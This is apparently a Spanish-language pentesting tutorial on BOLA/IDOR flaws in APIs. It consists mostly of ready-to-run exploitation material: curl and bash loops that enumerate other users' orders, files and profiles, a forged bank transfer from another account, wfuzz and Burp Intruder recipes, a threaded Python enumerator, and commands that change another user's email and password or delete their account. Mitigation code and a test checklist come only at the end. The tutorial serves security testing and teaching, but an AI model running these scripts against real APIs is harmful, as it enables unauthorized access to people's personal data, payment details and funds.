Broken Object Level Authorization (BOLA) - Autorización Rota a Nivel de Objeto
También conocida como Insecure Direct Object Reference (IDOR) en términos de OWASP Top 10.
CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
Referencia: https://cwe.mitre.org/data/definitions/639.html
¿Qué es BOLA?
Una vulnerabilidad de seguridad donde la API no verifica adecuadamente que un usuario está autorizado a acceder a un objeto específico. El atacante simplemente modifica el identificador del objeto (ID) en la solicitud para acceder a recursos de otros usuarios.
Mecanismo Simple
Usuario A (ID 100) → Puede ver su perfil: /api/users/100
Usuario B (ID 200) → Intenta acceder: /api/users/100 → ¡ACCEDE SIN AUTORIZACIÓN!Tipos de Identificadores Vulnerables
1. IDs Secuenciales Numéricos
bash
# Enumeración simple
curl https://api.tienda.com/api/orders/1001 -H "Authorization: Bearer token_usuario"
curl https://api.tienda.com/api/orders/1002
curl https://api.tienda.com/api/orders/1003
# ...etc
# Con Burp Intruder
# Usar Sniper attack con números 1001-20002. UUIDs Débiles o Predecibles
bash
# UUID secuencial
550e8400-e29b-41d4-a716-446655440000
550e8400-e29b-41d4-a716-446655440001
# UUID en patrón
curl https://api.banco.com/api/accounts/550e8400-e29b-41d4-a716-4466554400003. Base64 Encoded IDs
bash
# Decodificar
echo "dXNlcl8xMDA=" | base64 -d # user_100
# Modificar y encodificar
echo "user_200" | base64 # dXNlcl8yMDA=
curl https://api.app.com/api/profile -H "X-User-ID: dXNlcl8yMDA="Ejemplos de Explotación Detallados
Caso 1: Sistema Bancario - Transferencias
API Vulnerable:
POST /api/transfers
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
{
"from_account": "ACC-USER-123",
"to_account": "ACC-ATTACKER-999",
"amount": 1000,
"currency": "USD"
}Explotación - Cambiar Cuenta de Origen:
bash
# 1. Enumerar cuentas válidas
for i in {1..100}; do
curl -s "https://api.banco.com/api/accounts/ACC-USER-$i" \
-H "Authorization: Bearer token" | jq '.account_holder'
done
# 2. Transferir dinero de otra cuenta
curl -X POST "https://api.banco.com/api/transfers" \
-H "Authorization: Bearer token_attacker" \
-H "Content-Type: application/json" \
-d '{
"from_account": "ACC-USER-50",
"to_account": "ACC-ATTACKER-999",
"amount": 5000,
"currency": "USD"
}'
# 3. Resultado: Transferencia completada sin permisosCaso 2: E-commerce - Ver Órdenes de Otros Usuarios
API Vulnerable:
bash
GET /api/v1/orders/12345
Authorization: Bearer usuario_legítimo_token
Respuesta:
{
"order_id": 12345,
"user_id": 100,
"items": [{
"product": "Laptop",
"price": 999.99,
"quantity": 1
}],
"shipping_address": "123 Main St, City, Country",
"credit_card": "XXXX-XXXX-XXXX-1234"
}Explotación:
bash
# 1. Enumerar órdenes
for i in {1000..5000}; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.shop.com/api/v1/orders/$i" \
-H "Authorization: Bearer token")
if [ $status -eq 200 ]; then
echo "Orden $i existe"
curl "https://api.shop.com/api/v1/orders/$i" \
-H "Authorization: Bearer token" | jq '.'
fi
done
# 2. Ver datos sensibles de otros usuarios
curl "https://api.shop.com/api/v1/orders/12346" \
-H "Authorization: Bearer token_attacker"
# Resultado: Acceso a dirección de envío, tarjeta de crédito, etcCaso 3: Cloud Storage - Acceso a Archivos
API Vulnerable:
bash
GET /api/files/share/550e8400-e29b-41d4-a716-446655440000
Authorization: Bearer token
Response:
{
"file_id": "550e8400-e29b-41d4-a716-446655440000",
"filename": "confidential_2024.pdf",
"owner_id": 100,
"shared_with": [101, 102],
"size": 2048576,
"url": "/downloads/confidential_2024.pdf"
}Explotación:
bash
# 1. Interceptar solicitud de descarga
curl "https://api.cloud.com/api/files/share/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer attacker_token"
# 2. Fuerza bruta de UUIDs
for i in {0..1000}; do
uuid="550e8400-e29b-41d4-a716-44665544$(printf "%04d" $i)"
curl -s "https://api.cloud.com/api/files/share/$uuid" \
-H "Authorization: Bearer token" | jq 'select(.file_id) | .filename'
done
# 3. Descargar archivos confidenciales
curl "https://api.cloud.com/downloads/confidential_2024.pdf" \
-H "Authorization: Bearer attacker_token" \
-o confidential.pdfTécnicas de Enumeración Avanzadas
1. Fuzzing de IDs
bash
#!/bin/bash
# Script para enumerar recursos
API="https://api.target.com"
ENDPOINT="/api/users"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
for id in {1..1000}; do
response=$(curl -s "$API$ENDPOINT/$id" \
-H "Authorization: Bearer $TOKEN" \
-w "\n%{http_code}")
http_code=$(echo "$response" | tail -1)
body=$(echo "$response" | head -1)
if [ "$http_code" -eq 200 ]; then
echo "✓ ID $id exists (200)"
echo "$body" | jq '.email, .name, .phone' 2>/dev/null || echo "$body"
elif [ "$http_code" -eq 403 ]; then
echo "✗ ID $id exists but forbidden (403)"
fi
done2. Usar Burp Intruder
1. Capturar solicitud en Burp Proxy:
GET /api/users/100
Authorization: Bearer token
2. Enviar a Intruder (Ctrl+I)
3. Marcar variable:
GET /api/users/§100§
4. Payload -> Números
From: 1, To: 10000, Step: 1
5. Ejecutar y filtrar por:
- Status 200 (acceso exitoso)
- Response size diferente (datos sensibles)
- Patrón en respuesta (email, name, etc)3. Modificar Parámetros Relacionados
bash
# ID en URL
curl "https://api.app.com/api/users/100"
# ID en parámetro
curl "https://api.app.com/api/users?id=100"
# ID en JSON
curl -X POST "https://api.app.com/api/fetch" \
-d '{"user_id": 100}'
# ID en header
curl "https://api.app.com/api/profile" \
-H "X-User-ID: 100"
# ID en JWT (si está decodificado)
# jwt.decode(token).user_id = 200Métodos de Explotación Específicos
Acceso a Datos Personales
bash
# Perfiles de usuario
curl https://api.social.com/api/users/999/profile
# Información de contacto
curl https://api.social.com/api/users/999/contact
# Historial de actividad
curl https://api.social.com/api/users/999/activity
# Datos de ubicación
curl https://api.social.com/api/users/999/locationModificación de Datos (BOLA + Write)
bash
# Cambiar email de otro usuario
curl -X PUT "https://api.app.com/api/users/100" \
-H "Authorization: Bearer attacker_token" \
-H "Content-Type: application/json" \
-d '{
"email": "hacker@evil.com",
"name": "Hacked User"
}'
# Cambiar contraseña
curl -X POST "https://api.app.com/api/users/100/password" \
-d '{
"old_password": "ignored",
"new_password": "hacker123"
}'
# Agregar tarjeta de crédito
curl -X POST "https://api.app.com/api/users/100/payment" \
-d '{
"card_number": "4111111111111111",
"cvv": "123"
}'Eliminación de Datos
bash
# Eliminar cuenta de otro usuario
curl -X DELETE "https://api.app.com/api/users/100" \
-H "Authorization: Bearer attacker_token"
# Eliminar órdenes
curl -X DELETE "https://api.app.com/api/orders/12345"
# Eliminar archivos
curl -X DELETE "https://api.app.com/api/files/document-id"Herramientas para Detección y Explotación
curl - Básico
bash
# Prueba simple
curl -v "https://api.app.com/api/users/100" \
-H "Authorization: Bearer token"
# Con manejo de errores
curl -s "https://api.app.com/api/users/100" | jq '.user_id, .email'Burp Suite - Interceptar y Modificar
- Configurar proxy: Burp → Listener en 127.0.0.1:8080
- Interceptar solicitud: GET /api/users/100
- Modificar ID: GET /api/users/200
- Forward: Observar si acepta
wfuzz - Fuzzing Web
bash
# Enumerar IDs
wfuzz -c -z range-1-1000 \
-H "Authorization: Bearer token" \
https://api.app.com/api/users/FUZZ
# Filtrar por status 200
wfuzz -c -z range-1-1000 \
--sc 200 \
-H "Authorization: Bearer token" \
https://api.app.com/api/users/FUZZ
# Con diccionario personalizado
wfuzz -c -z file-ids.txt \
https://api.app.com/api/users/FUZZOWASP ZAP - Ataque automático
bash
# Activar scanner
1. Abrir OWASP ZAP
2. Tools → Options → Alert Filters
3. Activar "Broken Access Control"
4. Spider: https://api.app.com
5. Active ScanPython - Automatizar Explotación
python
import requests
import json
from concurrent.futures import ThreadPoolExecutor
def check_bola(user_id, token):
"""Verificar si se puede acceder a otro usuario"""
url = f"https://api.app.com/api/users/{user_id}"
headers = {"Authorization": f"Bearer {token}"}
try:
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
data = response.json()
print(f"[✓] ID {user_id} accessible")
print(f" Email: {data.get('email')}")
print(f" Name: {data.get('name')}")
return data
elif response.status_code == 403:
print(f"[✗] ID {user_id} forbidden (403)")
elif response.status_code == 404:
print(f"[-] ID {user_id} not found (404)")
except Exception as e:
print(f"[!] Error {user_id}: {str(e)}")
return None
# Ejecutar con threads
with ThreadPoolExecutor(max_workers=10) as executor:
token = "eyJhbGciOiJIUzI1NiIs..."
for user_id in range(1, 1001):
executor.submit(check_bola, user_id, token)Mitigación y Prevención
1. Verificar Autorización en Cada Endpoint
python
# VULNERABLE
@app.route('/api/users/<user_id>')
def get_user(user_id):
user = User.query.get(user_id)
return jsonify(user.to_dict())
# SEGURO
@app.route('/api/users/<user_id>')
def get_user(user_id):
current_user = verify_token(request.headers.get('Authorization'))
# Verificar que el usuario accede a su propio ID
if int(user_id) != current_user.id and not current_user.is_admin:
return {"error": "Unauthorized"}, 403
user = User.query.get(user_id)
return jsonify(user.to_dict())2. Usar Identificadores Opacos
python
# En lugar de IDs secuenciales
import uuid
# Usar UUIDs
user_uuid = str(uuid.uuid4()) # 550e8400-e29b-41d4-a716-446655440000
# Mapear UUID interno → ID público
user_mapping = {
'uuid_public': 'db_internal_id'
}3. Role-Based Access Control (RBAC)
python
def require_role(role):
def decorator(f):
def wrapper(*args, **kwargs):
user = verify_token(request.headers.get('Authorization'))
if user.role != role and user.role != 'admin':
return {"error": "Forbidden"}, 403
return f(*args, **kwargs)
return wrapper
return decorator
@app.route('/api/admin/users')
@require_role('admin')
def admin_users():
return jsonify(User.query.all())4. Logging y Monitoreo
python
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# En cada endpoint
logger.info(f"User {user_id} accessed resource {resource_id}")
# Detectar patrones de abuso
if requests_per_user > 1000:
logger.warning(f"High request rate from user {user_id}")
# Bloquear usuarioChecklist de Prueba
- [ ] Enumerar IDs secuenciales (1, 2, 3, ...)
- [ ] Intentar acceder a IDs de otros usuarios
- [ ] Modificar parámetros de ID en URL, JSON, headers
- [ ] Probar con diferentes roles/usuarios
- [ ] Intentar modificar/eliminar recursos
- [ ] Verificar respuestas 403 (podría ser indicio)
- [ ] Buscar datos sensibles expuestos (email, teléfono, etc)
- [ ] Usar Burp Intruder para fuzzing
- [ ] Probar con IDs especiales (0, -1, admin, etc)
- [ ] Verif icar si hay cambios en seguridad tras logout
Referencias
- OWASP: https://owasp.org/www-project-api-security/
- CWE-639: https://cwe.mitre.org/data/definitions/639.html
- Portswigger: https://portswigger.net/web-security/access-control
- HackerOne Reports: https://hackerone.com/reports (buscar BOLA/IDOR)